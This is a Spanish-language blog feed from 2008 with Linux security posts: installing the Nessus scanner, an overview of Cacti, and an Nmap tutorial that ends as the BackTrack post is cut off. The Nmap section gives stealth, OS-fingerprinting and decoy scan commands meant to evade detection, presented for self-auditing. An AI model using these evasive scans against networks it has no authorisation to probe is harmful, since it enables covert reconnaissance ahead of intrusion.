href='http://www.blogger.com/feeds/8002103865555107583/posts/default/504602311113317251'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/504602311113317251'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/02/ies4linux.html' title='IEs4Linux'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_X3QcW21Qw2k/R6iuionwQgI/AAAAAAAAADs/pdcGQdR8hIk/s72-c/Pantallazo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-5521111465163768513</id><published>2008-02-01T22:40:00.000-08:00</published><updated>2008-02-08T21:41:26.356-08:00</updated><title type='text'>echo "Nessus  ESCANER DE  VULNERABILIDADES OPEN sOURCE"</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_X3QcW21Qw2k/R6fhuonwQeI/AAAAAAAAADc/XWFsd1_PvNU/s1600-h/Pantallazo-3.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_X3QcW21Qw2k/R6fhuonwQeI/AAAAAAAAADc/XWFsd1_PvNU/s200/Pantallazo-3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5163343689097953762" /&gt;&lt;/a&gt;&lt;br /&gt;hola !! bueno ahora hablaremos de NESSUS Y COMO INSTALARLO YO UTLIZO UBUNTU Y ME BASARE EN EL AUNQUE NO EXISTE GRAN IMPORTACIA SI UTILIZAMOS ALGUNA OTRA DISTRO DE HECHO HAY ALGUNAS QUE YA VIENE JUNTO CON ELLA.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1.- Bueno debemos registrarnos en la pagina oficial y tener una salida a la matrix para poder hacer la instalacion de manera facil&lt;br /&gt;&lt;br /&gt;bajamos la ultima version que es la 3 de : http://www.nessus.org/download/nessus_download.php&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_X3QcW21Qw2k/R6QZ_onwQcI/AAAAAAAAADM/607PziKThvw/s1600-h/Pantallazo.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_X3QcW21Qw2k/R6QZ_onwQcI/AAAAAAAAADM/607PziKThvw/s200/Pantallazo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5162279653900042690" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2.-Debemos agregar un usuario que es el que tendra accesos a nuestro servidor.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@victoria:/usr/local# /usr/sbin/nessus-adduser&lt;br /&gt;Using /var/tmp as a temporary file holder&lt;br /&gt;&lt;br /&gt;Add a new nessusd user&lt;br /&gt;----------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Login : ekxo&lt;br /&gt;Authentication (pass/cert) [pass] :         &lt;br /&gt;Login password : &lt;br /&gt;Login password (again) : &lt;br /&gt;&lt;br /&gt;User rules&lt;br /&gt;----------&lt;br /&gt;nessusd has a rules system which allows you to restrict the hosts&lt;br /&gt;that ekxo has the right to test. For instance, you may want&lt;br /&gt;him to be able to scan his own host only.&lt;br /&gt;&lt;br /&gt;Please see the nessus-adduser(8) man page for the rules syntax&lt;br /&gt;&lt;br /&gt;Enter the rules for this user, and hit ctrl-D once you are done : &lt;br /&gt;(the user can have an empty rules set)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Login             : ekxo&lt;br /&gt;Password          : ***********&lt;br /&gt;DN                : &lt;br /&gt;Rules             : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Is that ok ? (y/n) [y] y&lt;br /&gt;user added.&lt;br /&gt;&lt;br /&gt;3.- root@victoria:/usr/local# /etc/init.d/nessusd start&lt;br /&gt;con esto iniciamos el demonio de nessus&lt;br /&gt;4.- recibiran un correo como esto:&lt;br /&gt;Thank you for downloading Nessus ! &lt;br /&gt;&lt;br /&gt;The direct link to the Nessus 3 packages is :&lt;br /&gt;&lt;br /&gt;&lt;http://www.nessus.org/download/nessus_download.php?t=e2b42b47c1b58ba8&gt;&lt;br /&gt;&lt;br /&gt;(the link above will be valid for 12 hours)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Your activation code for the Nessus plugin feed is C57C-79A8-F25C-7D97-8099&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;On Linux, to activate your account, simply execute the following command :&lt;br /&gt;&lt;br /&gt;/opt/nessus/bin/nessus-fetch --register C57C-79A8-F25C-7D97-8099&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If your Nessus installation can not reach the internet directly,&lt;br /&gt;you can use your activation code at the following URL :&lt;br /&gt;&lt;br /&gt;http://plugins.nessus.org/offline.php (Nessus 3.x)&lt;br /&gt;http://plugins.nessus.org/manual-register.php (Nessus 2.x)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5.-actualizar los pulgins&lt;br /&gt;&lt;br /&gt;root@victoria:/usr/local# /usr/sbin/nessus-update-plugins&lt;br /&gt;&lt;br /&gt;6.- verificamos que el codigo de activacion este bien y los pugins han sido actualizados de manera exitosa&lt;br /&gt;root@victoria:/usr/local# /usr/bin/nessus-fetch --check&lt;br /&gt;nessus-fetch is properly configured to receive a plugin feed&lt;br /&gt;&lt;br /&gt;7.- podemos tambien meterlos en el cron.&lt;br /&gt;root@victoria:/usr/local# crontab -e &lt;br /&gt;# m h  dom mon dow   command&lt;br /&gt;28 9 * * * /usr/sbin/nessus-update-plugins&lt;br /&gt;8.- lanzamos el cliente nessus&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_X3QcW21Qw2k/R6QbmYnwQdI/AAAAAAAAADU/wUXrFsxpT3M/s1600-h/Pantallazo-2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_X3QcW21Qw2k/R6QbmYnwQdI/AAAAAAAAADU/wUXrFsxpT3M/s200/Pantallazo-2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5162281419131601362" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-5521111465163768513?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/5521111465163768513/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=5521111465163768513' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/5521111465163768513'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/5521111465163768513'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/02/echo-nessus-escaner-de-vulnerabilidades.html' title='echo &quot;Nessus  ESCANER DE  VULNERABILIDADES OPEN sOURCE&quot;'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_X3QcW21Qw2k/R6fhuonwQeI/AAAAAAAAADc/XWFsd1_PvNU/s72-c/Pantallazo-3.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-5232562373749116556</id><published>2008-02-01T10:58:00.000-08:00</published><updated>2008-02-01T11:43:01.492-08:00</updated><title type='text'>C A C T I OPEN OPENSOURCE SOLUTIONS</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_X3QcW21Qw2k/R6Ny34nwQbI/AAAAAAAAADE/pssTjc1uQdY/s1600-h/Pantallazo-1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_X3QcW21Qw2k/R6Ny34nwQbI/AAAAAAAAADE/pssTjc1uQdY/s320/Pantallazo-1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5162095902314217906" /&gt;&lt;/a&gt;&lt;br /&gt;BUENO AHORA TOCA HABLAR MAS SOBRE SOLUCIONES OPEN SOURCE Y ESTA ESTA ENFOCADA A CACTI :&lt;br /&gt;&lt;br /&gt;Es una completa solución de gráficos  de red diseñados para aprovechar el poder de RRDTool y del almacenamiento de datos y la funcionalidad de la representación gráfica. &lt;br /&gt;&lt;br /&gt;Cacti proporciona un rápido poller, gráfico de plantillas avanzado, múltiples métodos de adquisición de datos, y características de gestión de los usuarios. Todo esto está envuelto en una interfaz intuitiva y fácil de utilizar que tiene sentido para LAN de gran tamaño hasta instalaciones de redes complejas con cientos de dispositivos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Su instalacion nos es dificil por ejemplo en ubuntu o debiab solo basta un apt-get pero pues hablaremos despues de su instalacion y configuracion en el servidor y cliente.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Cacti es una interfaz completa para RRDTool, almacena toda la información necesaria para crear gráficos y rellenar con los datos en una base de datos MySQL. La interfaz es totalmente impulsada por PHP. Junto con la posibilidad de mantener Gráficos, Fuentes de Datos, Archivos y Round Robin en una base de datos, cacti maneja la recopilación de datos. También existe soporte SNMP para los que se utilizan para la creación de gráficos de tráfico con MRTG.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Fuentes de datos&lt;br /&gt;&lt;br /&gt;Para manejar la recopilación de datos, puede alimentar cacti los caminos externos a cualquier script / comando junto con los datos que el usuario tendrá que "rellenar", cacti entonces reune estos datos en un puesto de trabajo del cron y luego poblar una base de datos MySQL / la Archivos del round robin.&lt;br /&gt;&lt;br /&gt;Las fuentes de datos pueden ser creados, y los datos corresponden con los datos reales en el gráfico. Por ejemplo, si un usuario desea graficar los tiempos de ping a un host, podría crear una fuente de datos utilizando un script que pings que  devuelve su valor en milisegundos. Después de definir las opciones para RRDTool como la forma de almacenar los datos que usted será capaz de definir cualquier información adicional que la fuente de entrada de datos requiere, como un anfitrión de ping en este caso. Una vez que la fuente de datos es creada, ésta es automáticamente se  mantiene intervalos de 5 minutos.&lt;br /&gt;&lt;br /&gt;Gráficos&lt;br /&gt;Una vez que una o más fuentes de datos están definidas,una instancia de  RRDTool pueden crear los graficos utilizando los datos. Cacti te permite crear casi cualquier imaginable con RRDTool  utilizando todos los standares tipos y funciones de consolidación. Un área de selección de colores y función de relleno automático de texto también ayuda en la creación de gráficos para hacer el proceso más fácil.&lt;br /&gt;&lt;br /&gt;No sólo puede crear gráficos basados en RRDTool pero hay muchas maneras para mostrarlos. Junto con una norma "vista de la lista" y un "modo de vista previa", que se asemeja a la RRDTool frontend 1 existe una "vista en árbol", que le permite poner a los gráficos en un árbol jerárquico para los fines de organización.&lt;br /&gt;&lt;br /&gt;Gestión de Usuarios&lt;br /&gt;Debido a las múltiples funciones de cactis, nos provee de herramienta de gestión basada en usuario se construye en lo que se pueden añadir usuarios y darles derechos a ciertas zonas de cactis. Esto permitiría a alguien a crear algunos usuarios que pueden cambiar los parametros de la grafica mientras que otros sólo pueden ver los gráficos. Cada usuario también mantiene su propia configuración cuando se trata de ver los gráficos.&lt;br /&gt;&lt;br /&gt;Plantillas&lt;br /&gt;Por último, el cactis es capaz de escalar un gran número de fuentes de datos y gráficos a través de la utilización de plantillas. Esto permite la creación de una única fuente de datos o gráfico de la plantilla que define cualquier gráfico o fuente de datos asociados con él. como una plantilla del localhost le permiten definir la capacidad de cacti de modo que se pueda la adición de un nuevo dispositivo de la mismca clase.&lt;br /&gt;&lt;br /&gt;La instalacion no es del nada dificil pero tambien se necesitara la configuracion de dsipositivos .con snmp y talvez crear algun script en c o en shell si quieremos algo mas complexo. en mi caso uso debian y solo basta un apt-get pata imstalarlo pero veremos despues la manera de hacerlo en distros basadas en RH ..YA QUE SE NECESITARA INSTALAR algunas librerias y servidores..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-5232562373749116556?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/5232562373749116556/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=5232562373749116556' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/5232562373749116556'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/5232562373749116556'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/02/c-c-t-i-open-opensource-solutions.html' title='C A C T I OPEN OPENSOURCE SOLUTIONS'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_X3QcW21Qw2k/R6Ny34nwQbI/AAAAAAAAADE/pssTjc1uQdY/s72-c/Pantallazo-1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-8768689687496472150</id><published>2008-01-31T15:39:00.000-08:00</published><updated>2008-02-01T08:47:46.300-08:00</updated><title type='text'>INTRODUCCION A NMAP 2</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_X3QcW21Qw2k/R6NNHYnwQaI/AAAAAAAAAC8/5Sum8hM_1dg/s1600-h/reload_nmap_f.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_X3QcW21Qw2k/R6NNHYnwQaI/AAAAAAAAAC8/5Sum8hM_1dg/s320/reload_nmap_f.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5162054387160334754" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introducción a Nmap. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nmap ("Network Mapper") , es una herramienta open source, diseñada &lt;br /&gt;para explorar y para realizar auditorias de seguridad en una red &lt;br /&gt;de computadoras.&lt;br /&gt;A continuación se presentan ejemplos de utilización de esta poderosa &lt;br /&gt;herramienta.&lt;br /&gt;*Nota: esta herramienta puede ser utilizada para realizar auditorias de seguridad &lt;br /&gt;en una red, pero también puede ser utilizada para fines delictivos, ya que esta &lt;br /&gt;herramienta pone al descubierto, puertos abiertos en las computadoras de una red, &lt;br /&gt;así como también es posible conocer como se encuentra organizada, y de cuantas &lt;br /&gt;computadoras consta una red.&lt;br /&gt;&lt;br /&gt;Alguien dijo una vez, que la mejor forma de comprobar la seguridad de &lt;br /&gt;nuestra red, es tratar de romper por nosotros mismos dicha &lt;br /&gt;seguridad.&lt;br /&gt;solo de esta forma podremos conocer y quitarnos falsas creencias de que &lt;br /&gt;nuestra red es lo suficiente segura.&lt;br /&gt;Además, si Ud. cree que su red es insegura, no se preocupe, que si &lt;br /&gt;existe una forma fácil y rápida de protegerse: por favor desconecte el cable de red.&lt;br /&gt;Pero esta vez conoceremos formas básicas y no tan básicas de realizar &lt;br /&gt;auditorias en nuestra red de computadoras, para que no tenga que &lt;br /&gt;desconectar su cable de red ;) .&lt;br /&gt;Nmap puede bajarse del sitio oficial en de esta dirección:&lt;br /&gt;http://www.insecure.org/nmap/&lt;br /&gt; &lt;br /&gt;Manos a la obra.&lt;br /&gt;La sintaxis básica de nmap es:&lt;br /&gt;nmap [tipo de scan] [opciones]&lt;br /&gt;Por ejemplo si tenemos un host en nuestra red, con direccion ip &lt;br /&gt;192.168.0.1 y deseamos conocer que puertos tiene abiertos,&lt;br /&gt;ejecutamos: &lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;# nmap 192.168.0.1&lt;br /&gt;Nmap nos mostrara en pantalla algo como esto:&lt;br /&gt;Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )&lt;br /&gt;Interesting ports on localhost (192.168.0.1):&lt;br /&gt;(The 1545 ports scanned but not shown below are in state: closed)&lt;br /&gt;Port State Service&lt;br /&gt;22/tcp open ssh&lt;br /&gt;25/tcp open smtp&lt;br /&gt;111/tcp open sunrpc&lt;br /&gt;6000/tcp open X11&lt;br /&gt;Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;Este resultado puede variar, dependiendo de las opciones que se le &lt;br /&gt;pasen a nmap o de la cantidad de puertos, que se encuentren abiertos en el host, que esta siendo "scaneado". &lt;br /&gt;Si queremos, conocer que tipo de sistema operativo, esta corriendo el &lt;br /&gt;host al que le realizamos el scaneo, sólo basta agregar el parámetro -O a el comando nmap.&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;# nmap -O 192.168.0.1&lt;br /&gt;nos mostrara un resultado como este:&lt;br /&gt;&lt;br /&gt;Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )&lt;br /&gt;Interesting ports on localhost (192.168.0.1):&lt;br /&gt;(The 1545 ports scanned but not shown below are in state: closed)&lt;br /&gt;Port State Service&lt;br /&gt;22/tcp open ssh&lt;br /&gt;25/tcp open smtp&lt;br /&gt;111/tcp open sunrpc&lt;br /&gt;6000/tcp open X11&lt;br /&gt;No exact OS matches for host (If you know what OS is running on it, see &lt;br /&gt;http://www.insecure.org/cgi-bin/nmap-submit.cgi).&lt;br /&gt;TCP/IP fingerprint:&lt;br /&gt;SInfo(V=2.54BETA30%P=i386-suse-linux%D=7/20%Time=3D39A479%O=22%C=1)&lt;br /&gt;TSeq(Class=RI%gcd=1%SI=1B445E%IPID=Z%TS=100HZ)&lt;br /&gt;TSeq(Class=RI%gcd=1%SI=2E12CD%IPID=Z)&lt;br /&gt;T1(Resp=Y%DF=Y%W=7FFF%ACK=S++%Flags=AS%Ops=MNNTNW)&lt;br /&gt;T1(Resp=Y%DF=Y%W=7FFF%ACK=O%Flags=AS%Ops=MNNTNW)&lt;br /&gt;T2(Resp=N)&lt;br /&gt;T3(Resp=Y%DF=Y%W=7FFF%ACK=S++%Flags=AS%Ops=MNNTNW)&lt;br /&gt;T3(Resp=Y%DF=Y%W=7FFF%ACK=O%Flags=AS%Ops=MNNTNW)&lt;br /&gt;T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)&lt;br /&gt;T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)&lt;br /&gt;T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)&lt;br /&gt;T7(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)&lt;br /&gt;PU(Resp=Y%DF=N%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)&lt;br /&gt;&lt;br /&gt;Nmap run completed -- 1 IP address (1 host up) scanned in 12 seconds&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;Este es el resultado que mostró el comando, al realizar un scaneo a una &lt;br /&gt;pc con Linux, distribución SuSE Linux.&lt;br /&gt;&lt;br /&gt;Pero como hace nmap, para reconocer el sistema operativo, que se &lt;br /&gt;esta ejecutando en el host destino?.&lt;br /&gt;Básicamente, cada sistema operativo, responde diferente, cuando se le &lt;br /&gt;envían paquetes tcp específicos, así se logra determinar con una buena exactitud,que sistema operativo se esta &lt;br /&gt;ejecutando.&lt;br /&gt;Al ejecutar nmap, contra un host con sistema operativo Windows XP, se produjo este resultado:&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;# nmap -O 192.168.0.1 &lt;br /&gt; &lt;br /&gt;Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )&lt;br /&gt;Interesting ports on (192.168.0.2):&lt;br /&gt;(The 1544 ports scanned but not shown below are in state: closed)&lt;br /&gt;Port State Service&lt;br /&gt;135/tcp open loc-srv&lt;br /&gt;139/tcp open netbios-ssn&lt;br /&gt;445/tcp open microsoft-ds&lt;br /&gt;1025/tcp open listen&lt;br /&gt;5000/tcp open fics&lt;br /&gt;Remote OS guesses: Windows Me or Windows 2000 RC1 through final &lt;br /&gt;release, Windows Millenium Edition v4.90.3000&lt;br /&gt;Nmap run completed -- 1 IP address (1 host up) scanned in 3 seconds&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;Ahora, veremos un par de opciones más interesantes que posee nmap.&lt;br /&gt;Identificando los hosts activos, en nuestra red.&lt;br /&gt;Supongamos, que tenemos una red, 192.168.0.x, y deseamos conocer que &lt;br /&gt;hosts se encuentran activos, fácilmente, lo podemos saber con nmap, esto lo &lt;br /&gt;podemos conocer al realizar un ping scan.&lt;br /&gt;&lt;br /&gt;#nmap -sP 192.168.0.1-255&lt;br /&gt;Realizando Stealth Scans .&lt;br /&gt;Con este tipo de scan, se pretende no ser detectado por software de &lt;br /&gt;detección de scaneos, se envían paquetes a los hosts con ciertos "flags" TCP &lt;br /&gt;activados o desactivados para evitar ser detectados.&lt;br /&gt;sN: Stealth, Null Scan, este tipo de scan pone en off todos los flags.&lt;br /&gt;sF: Stealth FIN Scan, este tipo de scan usa paquetes con el flag FIN &lt;br /&gt;activado para las prueba&lt;br /&gt;sX: Stealth Xmas Tree Scan, este tipo de scan envia paquetes con los &lt;br /&gt;flag FIN, URG, y PUSH activados.&lt;br /&gt;sp: Ping Scan, realiza un scan dentro de un rango especifico de hosts. &lt;br /&gt;útil para conocer que hosts se encuentran en linea sin ser detectados.&lt;br /&gt;&lt;br /&gt;Si deseamos hacer un stealth scan del tipo Xmas Tree, y ademas deseamos &lt;br /&gt;conocer que sistema operativo esta corriendo&lt;br /&gt;el host de destino, ejecutamos:&lt;br /&gt;&lt;br /&gt;#nmap -sX -O 192.168.1.2&lt;br /&gt; &lt;br /&gt;Despistalo con un Decoy Scan:&lt;br /&gt;&lt;br /&gt;-D: Esta opción se utiliza para tratar de engañar al host, al &lt;br /&gt;cual se esta "scaneando", que los scans se estan generando&lt;br /&gt;desde otros hosts, que se especifican en la opción -D.&lt;br /&gt;En el siguiente ejemplo, realizamos un Stealth Xmas Tree scan (-sX) hacia el &lt;br /&gt;host 192.168.0.1, en los puertos 25(SMTP), 53(DNS), le indicamos a &lt;br /&gt;nmap que no genere pings hacia el host, y tratamos de engañar al host &lt;br /&gt;(-D, Decoy), haciendole creer que los scans se estan generando desde los hosts 1.2.3.4 y 5.6.7.8.&lt;br /&gt;&lt;br /&gt;#nmap -p 25,53 -sX -P0 -D 1.2.3.4,5.6.7.8 192.168.0.1&lt;br /&gt; &lt;br /&gt;Guardando los resultados de tus scans.&lt;br /&gt;&lt;br /&gt;Nmap permite guardar los resultados de un scan, en varios tipos de &lt;br /&gt;formato de archivo: Normal, XML, Grepable, All, y en formato "S" (s|&lt;ipT kiDd|3 f0rM iNto THe fiL3 U sPecfy 4s an &lt;br /&gt;arGuMEnT!, o mejor conocido como formato Script Kiddie!).&lt;br /&gt;&lt;br /&gt;Si deseamos hacer un stealth scan del tipo Xmas Tree, también deseamos &lt;br /&gt;conocer que sistema operativo esta corriendo el host de destino, y ademas deseamos guardar el resultado de este scan &lt;br /&gt;en un archivo llamado "scanresult.txt", ejecutamos:&lt;br /&gt;&lt;br /&gt;#nmap -sX -O 192.168.1.2 -oN scanresult.txt&lt;br /&gt;&lt;br /&gt;Ahora si lo que deseamos es realizar el scan anterior pero dentro de un rango de hosts específicos, &lt;br /&gt;digamos del host 192.168.1.1 hasta la ip 192.168.1.255 , y deseamos guardar el resultado del scan &lt;br /&gt;en un archivo de texto normal entonces ejecutamos:&lt;br /&gt;#nmap -sX -O 192.168.1.1-255 -oN scanresult.txt&lt;br /&gt;&lt;br /&gt;Interfaces Gráficas para Nmap.&lt;br /&gt;Si no desean, utilizar la interfaz de comandos de nmap, facilmente &lt;br /&gt;pueden utilizar 2 de las interfaces gráficas mas conocidas, que existen para nmap.&lt;br /&gt;*nmapFE&lt;br /&gt;*KMAP&lt;br /&gt;Espero que este articulo les resulte útil en sus auditorias de seguridad, ya que solo conociendo las vulnerabilidades &lt;br /&gt;que existen en nuestras redes, sabremos que medidas tomar para protegernos mejor.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-8768689687496472150?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/8768689687496472150/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=8768689687496472150' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/8768689687496472150'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/8768689687496472150'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/introduccion-nmap-2.html' title='INTRODUCCION A NMAP 2'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_X3QcW21Qw2k/R6NNHYnwQaI/AAAAAAAAAC8/5Sum8hM_1dg/s72-c/reload_nmap_f.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-91260580677623664</id><published>2008-01-30T21:45:00.000-08:00</published><updated>2008-01-30T21:47:56.530-08:00</updated><title type='text'>IDE FOR LINUX</title><content type='html'>HABLEMOS AHORA DE INTERFACES DE DESARROLLO YA QUE LINUX NO SE QUEDA ATRAS TENEMOS VARIAS HERRAMIENTAS QUE USAREMOS PARA EL DESARROLLO BUENO DEPENDE CON CUAL NOS ACOPLEMOS MAS.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-91260580677623664?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/91260580677623664/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=91260580677623664' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/91260580677623664'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/91260580677623664'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/ide-for-linux.html' title='IDE FOR LINUX'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-2709192085880722399</id><published>2008-01-29T15:49:00.000-08:00</published><updated>2008-08-21T11:09:43.790-07:00</updated><title type='text'>BACKTRACK</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_X3QcW21Qw2k/R5_Cj4nwQWI/AAAAAAAAACY/fhN70iXQnkc/s1600-h/officialma3.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_X3QcW21Qw2k/R5_Cj4nwQWI/AAAAAAAAACY/fhN70iXQnkc/s320/officialma3.jpg" alt="" id="BLOGGER_PHOTO_ID_5161057619740213602" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;¿Qué es de &lt;span style="font-weight: bold;"&gt;BACKTRACK?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Es una colecion de Seguridad en un sistema de CD en live basado en Slax. Sin instalación&lt;br 